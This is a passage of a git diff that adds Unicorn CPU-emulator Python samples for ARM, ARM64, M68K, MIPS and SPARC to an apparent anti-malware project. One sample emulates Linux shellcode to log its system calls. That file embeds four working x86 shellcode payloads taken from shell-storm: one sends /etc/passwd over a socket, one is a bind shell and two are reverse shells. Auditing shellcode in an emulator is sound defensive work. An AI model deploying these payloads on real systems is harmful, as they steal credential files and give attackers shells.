ARM_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_R0, 0x1234) + mu.reg_write(UC_ARM_REG_R2, 0x6789) + mu.reg_write(UC_ARM_REG_R3, 0x3333) + mu.reg_write(UC_ARM_REG_APSR, 0xFFFFFFFF) #All application flags turned on + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing one instruction at ADDRESS with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r0 = mu.reg_read(UC_ARM_REG_R0) + r1 = mu.reg_read(UC_ARM_REG_R1) + print(">>> R0 = 0x%x" %r0) + print(">>> R1 = 0x%x" %r1) + + except UcError as e: + print("ERROR: %s" % e) + + +def test_thumb(): + print("Emulate THUMB code") + try: + # Initialize emulator in thumb mode + mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, THUMB_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_SP, 0x1234) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + # Note we start at ADDRESS | 1 to indicate THUMB mode. + mu.emu_start(ADDRESS | 1, ADDRESS + len(THUMB_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + sp = mu.reg_read(UC_ARM_REG_SP) + print(">>> SP = 0x%x" %sp) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_arm() + print("=" * 26) + test_thumb() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64.py new file mode 100644 index 0000000..0f9550b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.arm64_const import * + + +# code to be emulated +ARM64_CODE = b"\xab\x05\x00\xb8\xaf\x05\x40\x38" # str x11, [x13]; ldrb x15, [x13] + +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test ARM64 +def test_arm64(): + print("Emulate ARM64 code") + try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM64_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM64_REG_X11, 0x12345678) + mu.reg_write(UC_ARM64_REG_X13, 0x10008) + mu.reg_write(UC_ARM64_REG_X15, 0x33) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing one instruction at ADDRESS with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + print(">>> As little endian, X15 should be 0x78:") + + x11 = mu.reg_read(UC_ARM64_REG_X11) + x13 = mu.reg_read(UC_ARM64_REG_X13) + x15 = mu.reg_read(UC_ARM64_REG_X15) + print(">>> X15 = 0x%x" %x15) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_arm64() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64eb.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64eb.py new file mode 100644 index 0000000..4d96f46 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_arm64eb.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +# Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com> +# AARCH64 Python sample ported by zhangwm <rustydaar@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.arm64_const import * + + +# code to be emulated +ARM64_CODE = b"\xab\x05\x00\xb8\xaf\x05\x40\x38" # str x11, [x13]; ldrb x15, [x13] + +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test ARM64 +def test_arm64(): + print("Emulate ARM64 Big-Endian code") + try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM | UC_MODE_BIG_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM64_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM64_REG_X11, 0x12345678) + mu.reg_write(UC_ARM64_REG_X13, 0x10008) + mu.reg_write(UC_ARM64_REG_X15, 0x33) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(ARM64_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + print(">>> As big endian, X15 should be 0x12:") + + x11 = mu.reg_read(UC_ARM64_REG_X11) + x13 = mu.reg_read(UC_ARM64_REG_X13) + x15 = mu.reg_read(UC_ARM64_REG_X15) + print(">>> X15 = 0x%x" %x15) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_arm64() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_armeb.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_armeb.py new file mode 100644 index 0000000..9a2158d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_armeb.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python +# Sample code for ARM big endian of Unicorn. zhangwm <rustydaar@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.arm_const import * + + +# code to be emulated +ARM_CODE = b"\xe3\xa0\x00\x37\xe0\x42\x10\x03" # mov r0, #0x37; sub r1, r2, r3 +THUMB_CODE = b"\xb0\x83" # sub sp, #0xc +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test ARM +def test_arm(): + print("Emulate ARM Big-Endian code") + try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_ARM, UC_MODE_ARM | UC_MODE_BIG_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, ARM_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_R0, 0x1234) + mu.reg_write(UC_ARM_REG_R2, 0x6789) + mu.reg_write(UC_ARM_REG_R3, 0x3333) + mu.reg_write(UC_ARM_REG_APSR, 0xFFFFFFFF) #All application flags turned on + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing one instruction at ADDRESS with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(ARM_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r0 = mu.reg_read(UC_ARM_REG_R0) + r1 = mu.reg_read(UC_ARM_REG_R1) + print(">>> R0 = 0x%x" %r0) + print(">>> R1 = 0x%x" %r1) + + except UcError as e: + print("ERROR: %s" % e) + + +def test_thumb(): + print("Emulate THUMB code") + try: + # Initialize emulator in thumb mode + mu = Uc(UC_ARCH_ARM, UC_MODE_THUMB | UC_MODE_BIG_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, THUMB_CODE) + + # initialize machine registers + mu.reg_write(UC_ARM_REG_SP, 0x1234) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + # Note we start at ADDRESS | 1 to indicate THUMB mode. + mu.emu_start(ADDRESS | 1, ADDRESS + len(THUMB_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + sp = mu.reg_read(UC_ARM_REG_SP) + print(">>> SP = 0x%x" %sp) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_arm() + print("=" * 26) + test_thumb() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_m68k.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_m68k.py new file mode 100644 index 0000000..7e35cf5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_m68k.py @@ -0,0 +1,88 @@ +#!/usr/bin/env python +# Sample code for ARM of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.m68k_const import * + + +# code to be emulated +M68K_CODE = b"\x76\xed" # movq #-19, %d3 +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test ARM +def test_m68k(): + print("Emulate M68K code") + try: + # Initialize emulator in ARM mode + mu = Uc(UC_ARCH_M68K, UC_MODE_BIG_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, M68K_CODE) + + # initialize machine registers + mu.reg_write(UC_M68K_REG_D3, 0x1234) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(M68K_CODE)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + a0 = mu.reg_read(UC_M68K_REG_A0) + a1 = mu.reg_read(UC_M68K_REG_A1) + a2 = mu.reg_read(UC_M68K_REG_A2) + a3 = mu.reg_read(UC_M68K_REG_A3) + a4 = mu.reg_read(UC_M68K_REG_A4) + a5 = mu.reg_read(UC_M68K_REG_A5) + a6 = mu.reg_read(UC_M68K_REG_A6) + a7 = mu.reg_read(UC_M68K_REG_A7) + d0 = mu.reg_read(UC_M68K_REG_D0) + d1 = mu.reg_read(UC_M68K_REG_D1) + d2 = mu.reg_read(UC_M68K_REG_D2) + d3 = mu.reg_read(UC_M68K_REG_D3) + d4 = mu.reg_read(UC_M68K_REG_D4) + d5 = mu.reg_read(UC_M68K_REG_D5) + d6 = mu.reg_read(UC_M68K_REG_D6) + d7 = mu.reg_read(UC_M68K_REG_D7) + pc = mu.reg_read(UC_M68K_REG_PC) + sr = mu.reg_read(UC_M68K_REG_SR) + print(">>> A0 = 0x%x\t\t>>> D0 = 0x%x" % (a0, d0)) + print(">>> A1 = 0x%x\t\t>>> D1 = 0x%x" % (a1, d1)) + print(">>> A2 = 0x%x\t\t>>> D2 = 0x%x" % (a2, d2)) + print(">>> A3 = 0x%x\t\t>>> D3 = 0x%x" % (a3, d3)) + print(">>> A4 = 0x%x\t\t>>> D4 = 0x%x" % (a4, d4)) + print(">>> A5 = 0x%x\t\t>>> D5 = 0x%x" % (a5, d5)) + print(">>> A6 = 0x%x\t\t>>> D6 = 0x%x" % (a6, d6)) + print(">>> A7 = 0x%x\t\t>>> D7 = 0x%x" % (a7, d7)) + print(">>> PC = 0x%x" % pc) + print(">>> SR = 0x%x" % sr) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_m68k() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_mips.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_mips.py new file mode 100644 index 0000000..7199b63 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_mips.py @@ -0,0 +1,101 @@ +#!/usr/bin/env python +# Sample code for MIPS of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.mips_const import * + + +# code to be emulated +MIPS_CODE_EB = b"\x34\x21\x34\x56" # ori $at, $at, 0x3456; +MIPS_CODE_EL = b"\x56\x34\x21\x34" # ori $at, $at, 0x3456; + +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test MIPS EB +def test_mips_eb(): + print("Emulate MIPS code (big-endian)") + try: + # Initialize emulator in MIPS32 + EB mode + mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_BIG_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, MIPS_CODE_EB) + + # initialize machine registers + mu.reg_write(UC_MIPS_REG_1, 0x6789) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EB)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r1 = mu.reg_read(UC_MIPS_REG_1) + print(">>> R1 = 0x%x" %r1) + + except UcError as e: + print("ERROR: %s" % e) + + +# Test MIPS EL +def test_mips_el(): + print("Emulate MIPS code (little-endian)") + try: + # Initialize emulator in MIPS32 + EL mode + mu = Uc(UC_ARCH_MIPS, UC_MODE_MIPS32 + UC_MODE_LITTLE_ENDIAN) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, MIPS_CODE_EL) + + # initialize machine registers + mu.reg_write(UC_MIPS_REG_1, 0x6789) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, hook_block) + + # tracing all instructions with customized callback + mu.hook_add(UC_HOOK_CODE, hook_code) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(MIPS_CODE_EL)) + + # now print out some registers + print(">>> Emulation done. Below is the CPU context") + + r1 = mu.reg_read(UC_MIPS_REG_1) + print(">>> R1 = 0x%x" %r1) + + except UcError as e: + print("ERROR: %s" % e) + + +if __name__ == '__main__': + test_mips_eb() + print("=" * 27) + test_mips_el() diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_network_auditing.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_network_auditing.py new file mode 100644 index 0000000..bfccf82 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_network_auditing.py @@ -0,0 +1,408 @@ +#!/usr/bin/env python +# Unicorn sample for auditing network connection and file handling in shellcode. +# Nguyen Tan Cong <shenlongbk@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.x86_const import * +import struct +import uuid + +SIZE_REG = 4 +SOCKETCALL_MAX_ARGS = 3 + +SOCKET_TYPES = { + 1: "SOCK_STREAM", + 2: "SOCK_DGRAM", + 3: "SOCK_RAW", + 4: "SOCK_RDM", + 5: "SOCK_SEQPACKET", + 10: "SOCK_PACKET" +} + +ADDR_FAMILY = { + 0: "AF_UNSPEC", + 1: "AF_UNIX", + 2: "AF_INET", + 3: "AF_AX25", + 4: "AF_IPX", + 5: "AF_APPLETALK", + 6: "AF_NETROM", + 7: "AF_BRIDGE", + 8: "AF_AAL5", + 9: "AF_X25", + 10: "AF_INET6", + 12: "AF_MAX" +} + +# http://shell-storm.org/shellcode/files/shellcode-861.php +X86_SEND_ETCPASSWD = b"\x6a\x66\x58\x31\xdb\x43\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x68\x7f\x01\x01\x01\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\x89\xc6\x6a\x01\x59\xb0\x3f\xcd\x80\xeb\x27\x6a\x05\x58\x5b\x31\xc9\xcd\x80\x89\xc3\xb0\x03\x89\xe7\x89\xf9\x31\xd2\xb6\xff\xb2\xff\xcd\x80\x89\xc2\x6a\x04\x58\xb3\x01\xcd\x80\x6a\x01\x58\x43\xcd\x80\xe8\xd4\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" + +# http://shell-storm.org/shellcode/files/shellcode-882.php +X86_BIND_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80" + +# http://shell-storm.org/shellcode/files/shellcode-883.php +X86_REVERSE_TCP = b"\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80" + +# http://shell-storm.org/shellcode/files/shellcode-849.php +X86_REVERSE_TCP_2 = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\xc0\xa8\x01\x0a\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" + +# memory address where emulation starts +ADDRESS = 0x1000000 + + +# supported classes +class IdGenerator: + def __init__(self): + self.__next_id = 3 # exclude sdtin, stdout, stderr + + def next(self): + next_id = self.__next_id + + self.__next_id += 1 + + return next_id + + +class LogChain: + def __init__(self): + self.__chains = {} + self.__linking_fds = {} + + def clean(self): + self.__chains = {} + self.__linking_fds = {} + + def create_chain(self, my_id): + if not my_id in self.__chains: + self.__chains[my_id] = [] + else: + print("LogChain: id %d existed" % my_id) + + def add_log(self, id, msg): + fd = self.get_original_fd(id) + + if fd is not None: + self.__chains[fd].append(msg) + else: + print("LogChain: id %d doesn't exist" % id) + + def link_fd(self, from_fd, to_fd): + if not to_fd in self.__linking_fds: + self.__linking_fds[to_fd] = [] + + self.__linking_fds[to_fd].append(from_fd) + + def get_original_fd(self, fd): + if fd in self.__chains: + return fd + + for orig_fd, links in self.__linking_fds.items(): + if fd in links: + return orig_fd + + return None + + def print_report(self): + print(""" +---------------- +| START REPORT | +---------------- +""") + + for my_id, logs in self.__chains.items(): + print("---- START FD(%d) ----" % my_id) + print("\n".join(logs)) + print("---- END FD(%d) ----" % my_id) + + print(""" +-------------- +| END REPORT | +-------------- +""") + + +# end supported classes + + +# utilities +def bin_to_ipv4(ip): + return "%d.%d.%d.%d" % ( + (ip & 0xff000000) >> 24, + (ip & 0xff0000) >> 16, + (ip & 0xff00) >> 8, + (ip & 0xff)) + + +def read_string(uc, addr): + ret = "" + + c = uc.mem_read(addr, 1)[0] + read_bytes = 1 + + while c != 0x0: + ret += chr(c) + c = uc.mem_read(addr + read_bytes, 1)[0] + read_bytes += 1 + + return ret + + +def parse_sock_address(sock_addr): + sin_family, = struct.unpack("<h", sock_addr[:2]) + + if sin_family == 2: # AF_INET + port, host = struct.unpack(">HI", sock_addr[2:8]) + return "%s:%d" % (bin_to_ipv4(host), port) + elif sin_family == 6: # AF_INET6 + return "" + + +def print_sockcall(msg): + print(">>> SOCKCALL %s" % msg) + + +# end utilities + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" % (address, size)) + # read this instruction code from memory + tmp = uc.mem_read(address, size) + print(">>> Instruction code at [0x%x] =" % (address), end="") + for i in tmp: + print(" %x" % i, end="") + print("") + + +# callback for tracing Linux interrupt +def hook_intr(uc, intno, user_data): + global id_gen + + # only handle Linux syscall + if intno != 0x80: + return + + eax = uc.reg_read(UC_X86_REG_EAX) + ebx = uc.reg_read(UC_X86_REG_EBX) + ecx = uc.reg_read(UC_X86_REG_ECX) + edx = uc.reg_read(UC_X86_REG_EDX) + eip = uc.reg_read(UC_X86_REG_EIP) + + # print(">>> INTERRUPT %d" % eax) + + if eax == 1: # sys_exit + print(">>> SYS_EXIT") + uc.emu_stop() + elif eax == 3: # sys_read + fd = ebx + buf = ecx + count = edx + + dummy_content = str(uuid.uuid1()).encode("latin1")[:32] + if len(dummy_content) > count: + dummy_content = dummy_content[:count] + + uc.mem_write(buf, dummy_content) + + msg = "read %d bytes from fd(%d) with dummy_content(%s)" % (count, fd, dummy_content) + + fd_chains.add_log(fd, msg) + print(">>> %s" % msg) + elif eax == 4: # sys_write + fd = ebx + buf = ecx + count = edx + + content = uc.mem_read(buf, count) + + msg = "write data=%s count=%d to fd(%d)" % (content, count, fd) + + print(">>> %s" % msg) + fd_chains.add_log(fd, msg) + elif eax == 5: # sys_open + filename_addr = ebx + flags = ecx + mode = edx + filename = read_string(uc, filename_addr) + + dummy_fd = id_gen.next() + uc.reg_write(UC_X86_REG_EAX, dummy_fd) + + msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (filename, flags, mode, dummy_fd) + + fd_chains.create_chain(dummy_fd) + fd_chains.add_log(dummy_fd, msg) + print(">>> %s" % msg) + elif eax == 11: # sys_execv + # print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx)) + filename = read_string(uc, ebx) + + print(">>> SYS_EXECV filename=%s" % filename) + elif eax == 63: # sys_dup2 + fd_chains.link_fd(ecx, ebx) + print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx)) + elif eax == 102: # sys_socketcall + # ref: http://www.skyfree.org/linux/kernel_network/socket.html + call = uc.reg_read(UC_X86_REG_EBX) + args = uc.reg_read(UC_X86_REG_ECX) + + SOCKETCALL_NUM_ARGS = { + 1: 3, # sys_socket + 2: 3, # sys_bind + 3: 3, # sys_connect + 4: 2, # sys_listen + 5: 3, # sys_accept + 9: 4, # sys_send + 11: 4, # sys_receive + 13: 2 # sys_shutdown + } + + buf = uc.mem_read(args, SOCKETCALL_NUM_ARGS[call] * SIZE_REG) + args = struct.unpack("<" + "I" * SOCKETCALL_NUM_ARGS[call], buf) + + # int sys_socketcall(int call, unsigned long *args) + if call == 1: # sys_socket + # err = sys_socket(a0,a1,a[2]) + # int sys_socket(int family, int type, int protocol) + family = args[0] + sock_type = args[1] + protocol = args[2] + + dummy_fd = id_gen.next() + uc.reg_write(UC_X86_REG_EAX, dummy_fd) + + if family == 2: # AF_INET + + msg = "create socket (%s, %s) with fd(%d)" % (ADDR_FAMILY[family], SOCKET_TYPES[sock_type], dummy_fd) + fd_chains.create_chain(dummy_fd) + fd_chains.add_log(dummy_fd, msg) + print_sockcall(msg) + elif family == 3: # AF_INET6 + pass + + elif call == 2: # sys_bind + fd = args[0] + umyaddr = args[1] + addrlen = args[2] + + sock_addr = uc.mem_read(umyaddr, addrlen) + + msg = "fd(%d) bind to %s" % (fd, parse_sock_address(sock_addr)) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + elif call == 3: # sys_connect + # err = sys_connect(a0, (struct sockaddr *)a1, a[2]) + # int sys_connect(int fd, struct sockaddr *uservaddr, int addrlen) + fd = args[0] + uservaddr = args[1] + addrlen = args[2] + + sock_addr = uc.mem_read(uservaddr, addrlen) + msg = "fd(%d) connect to %s" % (fd, parse_sock_address(sock_addr)) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + elif call == 4: # sys_listen + fd = args[0] + backlog = args[1] + + msg = "fd(%d) listened with backlog=%d" % (fd, backlog) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + elif call == 5: # sys_accept + fd = args[0] + upeer_sockaddr = args[1] + upeer_addrlen = args[2] + + # print(">>> upeer_sockaddr=0x%x, upeer_addrlen=%d" % (upeer_sockaddr, upeer_addrlen)) + + if upeer_sockaddr == 0x0: + print_sockcall("fd(%d) accept client" % fd) + else: + upeer_len, = struct.unpack("<I", uc.mem_read(upeer_addrlen, 4)) + + sock_addr = uc.mem_read(upeer_sockaddr, upeer_len) + + msg = "fd(%d) accept client with upeer=%s" % (fd, parse_sock_address(sock_addr)) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + elif call == 9: # sys_send + fd = args[0] + buff = args[1] + length = args[2] + flags = args[3] + + buf = uc.mem_read(buff, length) + msg = "fd(%d) send data=%s" % (fd, buf) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + elif call == 11: # sys_receive + fd = args[0] + ubuf = args[1] + size = args[2] + flags = args[3] + + msg = "fd(%d) is gonna receive data with size=%d flags=%d" % (fd, size, flags) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + elif call == 13: # sys_shutdown + fd = args[0] + how = args[1] + + msg = "fd(%d) is shutted down because of %d" % (fd, how) + fd_chains.add_log(fd, msg) + print_sockcall(msg) + + +# Test X86 32 bit +def test_i386(code): + global fd_chains + + fd_chains.clean() + print("Emulate i386 code") + try: + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, code) + + # initialize stack + mu.reg_write(UC_X86_REG_ESP, ADDRESS + 0x200000) + + # tracing all instructions with customized callback + # mu.hook_add(UC_HOOK_CODE, hook_code) + + # handle interrupt ourself + mu.hook_add(UC_HOOK_INTR, hook_intr) + + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(code)) + + # now print out some registers + print(">>> Emulation done") + + except UcError as e: + print("ERROR: %s" % e) + + fd_chains.print_report() + + +# Globals +fd_chains = LogChain() +id_gen = IdGenerator() + +if __name__ == '__main__': + test_i386(X86_SEND_ETCPASSWD) + test_i386(X86_BIND_TCP) + test_i386(X86_REVERSE_TCP) + test_i386(X86_REVERSE_TCP_2) diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_sparc.py b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_sparc.py new file mode 100644 index 0000000..5dbe746 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/python/sample_sparc.py @@ -0,0 +1,64 @@ +#!/usr/bin/env python +# Sample code for SPARC of Unicorn. Nguyen Anh Quynh <aquynh@gmail.com> +# Python sample ported by Loi Anh Tuan <loianhtuan@gmail.com> + +from __future__ import print_function +from unicorn import * +from unicorn.sparc_const import * + + +# code to be emulated +SPARC_CODE = b"\x86\x00\x40\x02" # add %g1, %g2, %g3; +# memory address where emulation starts +ADDRESS = 0x10000 + + +# callback for tracing basic blocks +def hook_block(uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + +# callback for tracing instructions +def hook_code(uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = 0x%x" %(address, size)) + + +# Test SPARC +def test_sparc(): + print("Emulate SPARC code") + try: 